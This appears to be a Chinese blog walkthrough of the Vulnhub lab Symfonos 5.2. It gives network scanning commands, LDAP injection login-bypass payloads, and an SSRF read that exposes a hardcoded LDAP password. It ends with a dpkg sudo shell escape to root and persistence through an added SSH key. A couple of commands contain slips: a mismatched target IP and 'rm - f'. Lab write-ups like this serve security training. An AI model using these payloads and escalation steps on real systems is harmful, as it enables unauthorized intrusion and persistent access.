靶机下载地址:https://www.vulnhub.com/entry/symfonos-52,415/
教程链接地址 1:https://readysetexploit.wordpress.com/2022/03/02/vulnhub-symfonos-5-2/
教程链接地址 2:https://github.com/aryanguenthner/Vulnhub-CTF-Writeups

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 SYMFONOS:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  1. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP

sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt

Image

-> 目标机器的 ip 地址: 192.168.31.81

# 端口扫描

sudo nmap -A -p 1-1024 192.168.31.81 -oN /tmp/symfonos.txt

Image

# Gobuster 扫描目录

打开网站:http://192.168.31.81

  1. 目录扫描
Image

http://192.168.31.81/admin.php

尝试弱口令,注入等均无效

  1. 加载字典,更详细的扫描
1
2
gobuster dir -u http://192.168.31.81/ -w /usr/share/dirbuster/wordlists/directory-list-
2.3-medium.txt -x php,txt,html

http://192.168.31.81/portraits.php

# LDAP 枚举

在 LDAP 上做一个快速枚举,看看是否有任何信息暴露给我们看

1
2
3
4
5
# ldapsearch 使用
ldapsearch -h 192.168.31.81 -x -s namingcontexts
# -x Simple authentication
# -s scope one of base, one, sub or children (search scope)
# -H URI LDAP Uniform Resource Identifier(s)
Image

-> 关键信息: dn:namingContexts, dc=symfonos, dc=local

# LDAP 注入

考虑到 ldap 在这台机器上运行,可尝试用 ldap 注入登录框
ldap 注入 poc:https://book.hacktricks.xyz/pentesting-web/ldap-injection

1
2
3
4
# payload
(&(user=*)(password=*))
(&(user=*)(&)(password=*)(&))
(&(user=*)(|(&)(pass=pwd))

通过 user=* 和 password=* 登陆到了该站点

发现了一个 ssrf 跨服务请求伪造:
http://192.168.31.81/home.php?url=http://192.168.31.81/portraits.php

分析在 http://192.168.31.81/admin.php 输入 user=*,pass=* 登陆成功的原因
我们必须记住,我们仍在处理 LDAP,当我们处理身份验证时,我们总是想检查页面是如何处理它的。在这种情况下,我们的目标是 admin.php 页面。

我们认为 LFI 有可能只是因为 URL 与 localhost 连接,以获取 Portraits.php 文件,利用 burpsuite 进行抓取 http://192.168.31.81/home.php?url admin.php 登陆时的数据包。

-> 用户名:admin 密码:qMDdyZh3cT6eeAWD,实际上用于连接 LDAP
$bind = ldap_bind($ldap_ch, "cn=admin,dc=symfonos,dc=local","qMDdyZh3cT6eeAWD");

1
2
3
4
5
6
# ldap信息枚举
ldapsearch -h 192.168.31.81 -D "cn=admin,dc=symfonos,dc=local" -w 'qMDdyZh3cT6eeAWD' -x -b "dc=symfonos,dc=local"
# -D binddn bind DN
# -w passwd bind password (for simple authentication)
# -x Simple authentication
# -b basedn base dn for search
Image
1
2
3
4
5
6
7
8
9
# 获取到信息
admin e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0=
zeus Y2V0a0tmNHdDdUhDOUZFVA==

# base64 解码:
echo "Y2V0a0tmNHdDdUhDOUZFVA==" | base64 -d

# base64 编码:
echo "cetkKf4wCuHC9FET" | base64
Image

-> admin:{SSHA}UWYxvuhA0bWsjfr2bhtxQbapr9eSgKVm
-> zeus:cetkKf4wCuHC9FET

# dpkg-shell 提权

1
2
3
# 登录靶机
ssh zeus@192.168.31.81
cetkKf4wCuHC9FET
Image
1
2
3
4
5
# 查看相关权限设置
sudo -l

# 发现dpkg拥有root权限,可通过dpkg提权
# 详细网址:https://gtfobins.github.io/gtfobins/dpkg/

1
2
3
# 输入以下命令:
sudo dpkg -l
# 在弹出来的交互式中继续输入!/bin/sh

# SSH 密钥对维权

提前准备好配对好的私钥和公钥,将公钥发到靶机

1
2
3
4
scp parallels@192.168.31.135:~/.ssh/id_rsa.pub ~/.ssh/
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys && rm - f ~/.ssh/id_rsa.pub
ll | grep id
ssh root@192.168.31.127 -i ~/.ssh/id_rsa

-> 免密成功,下次可直接登录

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝